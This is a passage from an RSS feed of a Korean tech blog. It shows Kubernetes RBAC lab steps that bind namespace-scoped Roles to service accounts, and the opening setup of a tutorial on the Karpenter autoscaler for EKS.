this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1407&quot; height=&quot;122&quot; data-filename=&quot;스크린샷 2024-04-08 오후 12.00.08.png&quot; data-origin-width=&quot;1407&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kubectl 실행 사용자가 get pods에 대한 권한이 있는지 조회해 봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712552168271&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 1.55.48.png&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lSXkY/btsGtNLXUS8/TWZ8kISas5uzD9OfCFgkkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lSXkY/btsGtNLXUS8/TWZ8kISas5uzD9OfCFgkkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lSXkY/btsGtNLXUS8/TWZ8kISas5uzD9OfCFgkkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlSXkY%2FbtsGtNLXUS8%2FTWZ8kISas5uzD9OfCFgkkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;62&quot; data-filename=&quot;스크린샷 2024-04-08 오후 1.55.48.png&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;각각 네임스페이스에 롤(Role)를 생성 후 서비스 어카운트 바인딩&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;롤(Role)&lt;/b&gt; : apiGroups 와 resources 로 지정된 리소스에 대해 &lt;b&gt;verbs&lt;/b&gt; 권한을 인가합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실행 가능한 조작(verbs)&lt;/b&gt; : *(모두 처리), create(생성), delete(삭제), get(조회), list(목록조회), patch(일부업데이트), update(업데이트), watch(변경감시)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccKjuq/btsGqK4hOM7/U1bIdBWiLWT74DImScDbm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccKjuq/btsGqK4hOM7/U1bIdBWiLWT74DImScDbm0/img.png&quot; data-alt=&quot;https://kubetm.github.io/practice/intermediate/object-authorization/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccKjuq/btsGqK4hOM7/U1bIdBWiLWT74DImScDbm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccKjuq%2FbtsGqK4hOM7%2FU1bIdBWiLWT74DImScDbm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;528&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kubetm.github.io/practice/intermediate/object-authorization/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dev-team과 infra-team 각각의 네임스페이스에 모든 권한에 접근할 수 있는 롤을 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712552888402&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: [&quot;*&quot;]
  resources: [&quot;*&quot;]
  verbs: [&quot;*&quot;]
EOF

cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: [&quot;*&quot;]
  resources: [&quot;*&quot;]
  verbs: [&quot;*&quot;]
EOF

# 롤 확인 
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.19.10.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PvcF4/btsGsXg47h6/Ck5ajCtx41isWVBdFaR6OK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PvcF4/btsGsXg47h6/Ck5ajCtx41isWVBdFaR6OK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PvcF4/btsGsXg47h6/Ck5ajCtx41isWVBdFaR6OK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPvcF4%2FbtsGsXg47h6%2FCk5ajCtx41isWVBdFaR6OK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;159&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.19.10.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성한 롤과 서비스어카운트를 롤바인딩을 통해 연동합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712552983461&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 롤바인딩 생성 : '서비스어카운트 &amp;lt;-&amp;gt; 롤' 간 서로 연동
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

# 롤바인딩 확인
kubectl get rolebindings -n dev-team
kubectl get rolebindings -n infra-team
kubectl get rolebindings -n dev-team -o yaml
kubectl describe rolebindings roleB-dev-team -n dev-team&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.20.00.png&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VvSJh/btsGtViV3J7/Ui6vkhYfcMdzplTUqjAq91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VvSJh/btsGtViV3J7/Ui6vkhYfcMdzplTUqjAq91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VvSJh/btsGtViV3J7/Ui6vkhYfcMdzplTUqjAq91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVvSJh%2FbtsGtViV3J7%2FUi6vkhYfcMdzplTUqjAq91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;220&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.20.00.png&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;서비스 어카운트를 지정하여 생성한 파드에서 다시 권한 테스트&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1712553070626&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods 
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes

k2 get pods 
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.21.42.png&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cguux9/btsGshUo1wc/L9GLtnHz2mJqzMoardhwik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cguux9/btsGshUo1wc/L9GLtnHz2mJqzMoardhwik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cguux9/btsGshUo1wc/L9GLtnHz2mJqzMoardhwik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcguux9%2FbtsGshUo1wc%2FL9GLtnHz2mJqzMoardhwik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1380&quot; height=&quot;281&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.21.42.png&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kubectl 사용자가 get pods에 대한 권한이 있는지 조회해 봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712553739419&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.22.28.png&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;39&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bB06zA/btsGtNrKwRS/o17W81Fjmt4rRqVm0ZEA2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bB06zA/btsGtNrKwRS/o17W81Fjmt4rRqVm0ZEA2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bB06zA/btsGtNrKwRS/o17W81Fjmt4rRqVm0ZEA2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbB06zA%2FbtsGtNrKwRS%2Fo17W81Fjmt4rRqVm0ZEA2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;39&quot; data-filename=&quot;스크린샷 2024-04-08 오후 2.22.28.png&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;39&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;리소스 삭제&lt;/h4&gt;
&lt;pre id=&quot;code_1712553285326&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl delete ns dev-team infra-team&lt;/code&gt;&lt;/pre&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/13</guid>
      <comments>https://imxsuu.tistory.com/13#entry13comment</comments>
      <pubDate>Mon, 8 Apr 2024 00:50:49 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Karpenter</title>
      <link>https://imxsuu.tistory.com/12</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://ec2spotworkshops.com/karpenter.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Karpenter : K8S Native AutoScaler&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 오토스케일링 그룹을 사용하는 CA(Cluster Autoscaler)에서 AWS의 오토스케일링 그룹과 EKS의 쿠버네티스 간의 관리 정보가 동기화되지 않아 발생하는 문제점들을 해결하기 위해 만들어진 오픈소스 솔루션이라고 생각하시면 이해가 쉬우실 것 같습니다. 이를 활용하면 몇 초 만에 컴퓨팅 리소스를 제공해 줍니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cacIYB/btsGjQjovc8/w9Ji0A3OVZFR2heOR39lQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cacIYB/btsGjQjovc8/w9Ji0A3OVZFR2heOR39lQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cacIYB/btsGjQjovc8/w9Ji0A3OVZFR2heOR39lQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcacIYB%2FbtsGjQjovc8%2Fw9Ji0A3OVZFR2heOR39lQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1052&quot; height=&quot;470&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠버네티스 스케줄러가 예약 불가능으로 표시한 파드를 감시합니다.&lt;/li&gt;
&lt;li&gt;파드에서 요청한 스케줄링 제약 조건(resource &lt;span data-token-index=&quot;1&quot;&gt;requests&lt;/span&gt;, &lt;span data-token-index=&quot;3&quot;&gt;nodeselectors&lt;/span&gt;, &lt;span data-token-index=&quot;5&quot;&gt;affinities&lt;/span&gt;, &lt;span data-token-index=&quot;7&quot;&gt;tolerations&lt;/span&gt;, topology spread constraints)을 판단합니다.&lt;/li&gt;
&lt;li&gt;파드의 요구 사항을 충족하는 노드를 프로비저닝 합니다.&lt;/li&gt;
&lt;li&gt;파드가 새로운 노드에서 실행되도록 스케줄링 합니다.&lt;/li&gt;
&lt;li&gt;노드가 더 이상 필요하지 않은 경우 노드를 제거합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1327&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yb1gs/btsGjQqhfJb/PJXXlHELsIOSesmHUqmBY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yb1gs/btsGjQqhfJb/PJXXlHELsIOSesmHUqmBY0/img.png&quot; data-alt=&quot;출처 :CON405_How-to-monitor-and-reduce-your-compute-costs.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yb1gs/btsGjQqhfJb/PJXXlHELsIOSesmHUqmBY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyb1gs%2FbtsGjQqhfJb%2FPJXXlHELsIOSesmHUqmBY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1327&quot; height=&quot;389&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1327&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :CON405_How-to-monitor-and-reduce-your-compute-costs.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;작동 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모니터링 &amp;rarr; 스케줄링 되지 않은 파드 발견 &amp;rarr; 스펙 평가 &amp;rarr; 생성 &amp;rArr; &lt;b&gt;Provisioning&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;모니터링 &amp;rarr; (데몬셋 이외의 파드가 없을 때)비어있는 노드 발견 &amp;rarr; 제거 &amp;rArr; &lt;b&gt;Deprovisioning&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;Provisioner&lt;/span&gt; CRD : &lt;/b&gt;쿠버네티스&lt;span style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot;&gt;&amp;nbsp;클러스터 내에서 특정 리소스를 프로비저닝(Provisioning)하는&lt;/span&gt; &lt;span style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot;&gt;작업에 대한 사용자 지정 리소스 정의를 나타냅니다. (오토스케일링 그룹의 시작 템플릿이 필요 없어집니다.)&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;필수 : EC2 보안그룹, 서브넷&lt;/li&gt;
&lt;li&gt;리소스 찾는 방식 : 태그 기반 자동, 리소스 ID 직접 명시 (영역 명시)&lt;/li&gt;
&lt;li&gt;인스턴스 타입은 &lt;b&gt;가드레일&lt;/b&gt; 방식으로 선언 가능 : 스팟(우선) vs 온디맨드 등 다양한 타입의 인스턴스가 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;파드에 적합한 인스턴스 중 &lt;b&gt;가장 저렴한 인스턴스&lt;/b&gt;로 증설됩니다.&lt;/li&gt;
&lt;li&gt;PV를 위해 단일 서브넷에 노드 그룹을 만들 필요가 없으며 자동으로 &lt;b&gt;PV가 존재하는 서브넷&lt;/b&gt;에 &lt;b&gt;노드&lt;/b&gt;를 생성합니다.&lt;/li&gt;
&lt;li&gt;사용하지 않는 노드를 자동으로 정리하고 일정 기간이 지나면 노드를 자동으로 만료시킬 수 있습니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;ttlSecondsAfterEmpty&lt;/b&gt; : 노드에 데몬셋을 제외한 모든 파드가 존재하지 않을 경우 해당 값 이후에 자동으로 정리합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ttlSecondsUntilExpired&lt;/b&gt; : 설정한 기간이 지난 노드는 자동으로 cordon, drain 처리가 되어 노드를 정리합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때 노드가 주기적으로 정리되면 자연스럽게 기존에 여유가 있는 노드에 재배치되기 때문에 좀 더 효율적으로 리소스를 사용할 수 있으며 최신 AMI 사용 환경에도 도움이 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;노드가 제 때 drain되지 않는다면 비효율적으로 운영 될 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;노드를 줄여도 다른 노드에 충분한 여유가 있다면 &lt;b&gt;자동으로 정리&lt;/b&gt;해 줍니다.&lt;/li&gt;
&lt;li&gt;큰 노드 하나가 작은 노드 여러개보다 비용이 저렴하다면 &lt;b&gt;자동으로 합쳐줍니다&lt;/b&gt;. 이는 기존에 확장 속도가 느려 보수적으로 운영하던 부분을 해소시킬 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오버 프로비저닝 필요&lt;/b&gt; : Karpenter를 쓰더라도 EC2가 뜨고 데몬셋이 모두 설치되는데 최소 1~2분이 소요됩니다. &lt;b&gt;증설용 깡통 파드&lt;/b&gt;를 만들어 여유 공간을 강제로 확보하는 것이 좋습니다.&lt;/li&gt;
&lt;li&gt;오버 프로비저닝 파드 x &lt;b&gt;KEDA&lt;/b&gt; : 대규모 증설이 예상 되는 경우 미리 준비하는 것이 좋습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;Getting Started with Karpenter&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;아래의 CloudFormation YAML 파일을 통해 Karpenter를 위한 새로운 EC2를 배포합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1712213466951&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/karpenter-preconfig.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포된 작업용 EC2에 ec2-user로 접속하여 IP 주소를 확인하면 EKS 노드와의 구분을 위해 그동안 사용했던 192.168 대역대가 아닌 172.30 대역을 사용하는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712213591663&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh -i &amp;lt;AWS pem key&amp;gt; ec2-user@$(aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text)

# IP 주소 확인 : 172.30.0.0/16 VPC 대역에서 172.30.1.0/24 대역을 사용 중
ip -br -c addr&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-04 오후 3.56.51.png&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNXUS1/btsGnYT1twt/G58sbQdfWlrrAaro7wROKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNXUS1/btsGnYT1twt/G58sbQdfWlrrAaro7wROKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNXUS1/btsGnYT1twt/G58sbQdfWlrrAaro7wROKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNXUS1%2FbtsGnYT1twt%2FG58sbQdfWlrrAaro7wROKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;771&quot; height=&quot;84&quot; data-filename=&quot;스크린샷 2024-04-04 오후 3.56.51.png&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EKS Node Viewer도 다시 설치합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712213994570&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS Node Viewer 설치 : 현재 ec2 spec에서는 설치에 다소 시간이 소요됨 = 2분 이상
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [터미널1] bin 확인
cd ~/go/bin &amp;amp;&amp;amp; ./eks-node-viewer -h

# EKS 배포 완료 후 실행 하자
cd ~/go/bin &amp;amp;&amp;amp; ./eks-node-viewer --resources cpu,memory&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter가 포함된 EKS 배포를 위해 변수를 설정합니다. 쿠버네티스와 Karpenter는 공식문서에 안내된 최신버전으로 진행합니다. 또한 Karpenter를 통해 프로비저닝되는 EC2의 인스턴스 타입이 다양할 수 있으므로 다양한 AMI ID를 변수로 설정합니다. echo 명령어를 통해 변수가 모두 잘 출력되는지 확인하고 배포를 진행해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712214028864&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 변수 정보 확인
export | egrep 'ACCOUNT|AWS_' | egrep -v 'SECRET|KEY'

# 변수 설정
export KARPENTER_NAMESPACE=&quot;kube-system&quot;
export K8S_VERSION=&quot;1.29&quot;
export KARPENTER_VERSION=&quot;0.35.2&quot;
export TEMPOUT=$(mktemp)
